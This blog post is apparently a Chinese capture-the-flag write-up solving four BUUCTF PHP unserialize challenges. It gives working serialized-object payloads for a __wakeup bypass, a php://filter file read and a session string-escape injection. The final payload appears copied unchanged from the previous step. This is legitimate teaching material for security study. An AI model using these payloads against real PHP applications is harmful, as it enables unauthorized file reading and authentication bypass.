PHP反序列化练习

发布于:2025-02-10 ⋅ 阅读:(91) ⋅ 点赞:(0)

BUU上的四个题。

BUU CODE REVIEW 1

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */
​
highlight_file(__FILE__);
​
class BUU {
   public $correct = "";
   public $input = "";
​
   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
​
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

页面代码如上,需要五个参数,pleaseget,pleasepost,md51,md52,obj。

这其中需要pleaseget和pleasepost分别强等于1和2,md51和md52不一样,但md5编码后一样,可以使用数组绕过。下面构造obj。

obj的反序列化会触发__destruct魔术方法,根据里面的内容correct会被随机赋值,我们要得到flag,就要让correct和input相等即可。

构造php脚本:

<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$a=new BUU();
$a->correct="";
$a->input=&$a->correct;//input和correct的值相等。
echo serialize($a);
?>

输出结果:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

进行输入获取flag:

[网鼎杯 2020 青龙组]AreUSerialz

<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;//构造脚本时换成public,否则产生的字符会超出范围。
    protected $filename;
    protected $content;
​
    function __construct() {//不会被触发
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();//调用write函数
        } else if($this->op == "2") {
            $res = $this->read();//调用read函数
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {//判断字符串长度
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//将某字符写入某文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//读取文件获取flag,故而要使op=2
        }
        return $res;
    }
​
    private function output($s) {//输出函数
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")//需要绕过,这里是强等于,上面是弱等于,那只需让op等于2,但数据类型不是字符即可。
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//传参数据的ascll码值必须大于等于32,小于等于125。
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {//if里面调用了is_valid函数
        $obj = unserialize($str);
    }
​
}

构造脚本:

<?php
class FileHandler {
​
    public $op=2;
    public $filename='flag.php';//这里的`flag.php`可以换成php://filter/read=convert.base64-encode/resource=flag.php
    public $content;
}
$a=new FileHandler();
echo serialize($a);
?>

构造结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}或O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

区别:

简单的flag.php,文件不会显示到页面上,需要产看源代码即可看到。

php://filter/read=convert.base64-encode/resource=flag.php会对文件进行过滤,最终文件内容会以base64编码的形式呈现在页面上,进行解码即可见到。

[极客大挑战 2019]PHP

本题先使用dirsearch进行扫描,扫描时间有点长。

扫描完成后会获取到一个www.zip文件,在url中输入,下载完成可以得到flag.php,class.php,index.php三个文件。flag文件中没有什么内容,可以不看了,index是页面小猫的代码,里面有个传参的代码。

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>//传递的参数是select。

下面着重看class代码。

<?php
include 'flag.php';
​
​
error_reporting(0);
​
​
class Name{
    private $username = 'nonono';//这里是private,我们需要将空字符输入,可以使用base64编码再解码输入。可以在BP中操作。
    private $password = 'yesyes';
​
    public function __construct($username,$password){//不会触发
        $this->username = $username;
        $this->password = $password;
    }
​
    function __wakeup(){//修改username的值,要进行绕过,即参数个数要比实际参数个数大
        $this->username = 'guest';
    }
​
    function __destruct(){
        if ($this->password != 100) {//确保password是100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {//要使条件成立
            global $flag;//获取flag
            echo $flag;//输出flag
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

构造脚本:

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$a=new Name();
echo serialize($a);
?>

编码结果:Tzo0OiJOYW1lIjozOntzOjE0OiIATmFtZQB1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxNDoiAE5hbWUAcGFzc3dvcmQiO3M6MzoiMTAwIjt9

[安洵杯 2019]easy_serialize_php

打开页面,看源代码:

<?php
​
$function = @$_GET['f'];//GET传参一个f
​
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');//定义的要过滤的数组
    $filter = '/'.implode('|',$filter_arr).'/i';//用implode函数将数组内的数据用竖线隔开,这被斜线包裹,以复合php正则匹配
    return preg_replace($filter,'',$img);//使用preg_replace函数,如果检测到数组里的数据,将其删除
}
​
​
if($_SESSION){//$_SESSION是一个全局数组
    unset($_SESSION);//$_SESSION被销毁,后面赋予新的值
}
​
$_SESSION["user"] = 'guest';//定义了数组中user
$_SESSION['function'] = $function;//定义了数组中function
​
extract($_POST);//导入变量,POST传参
​
if(!$function){//检测传参
    echo '<a href="index.php?f=highlight_file">source_code</a>';//回到刚打开时的页面
}
​
if(!$_GET['img_path']){//判断有没有img_path的传参
    $_SESSION['img'] = base64_encode('guest_img.png');//改变SESSION[img]=一个固定值
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
​
$serialize_info = filter(serialize($_SESSION));//序列化SESSION + 过滤,filter函数将一些关键字制空这里造成逃逸
​
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);//反序列化
    echo file_get_contents(base64_decode($userinfo['img']));//base64解码并读取内容
} 

理解完代码,大概流程是:flag关键字会被删除,可以利用进行字符串逃逸。$function == 'phpinfo'时可能会有我们想要的东西,一会打开看一下。然后就是利用$function == 'show_image'时的反序列化和读取文件内容去获取flag。

先看一下$function == 'phpinfo'会有什么:

如图,看到一个关于flag的php文件,我们先构造访问这个php文件。

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}   //user中的flag会被删除,造成字符串逃逸,进行POST传参,再查看页面源代码。

从图片可知,flag在哪个文件,将d0g3_fllllllag进行base64编码发现和d0g3_flag.php长度一样,那么替换掉即可。

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}

得到flag。


网站公告

今日签到

点亮在社区的每一天
去签到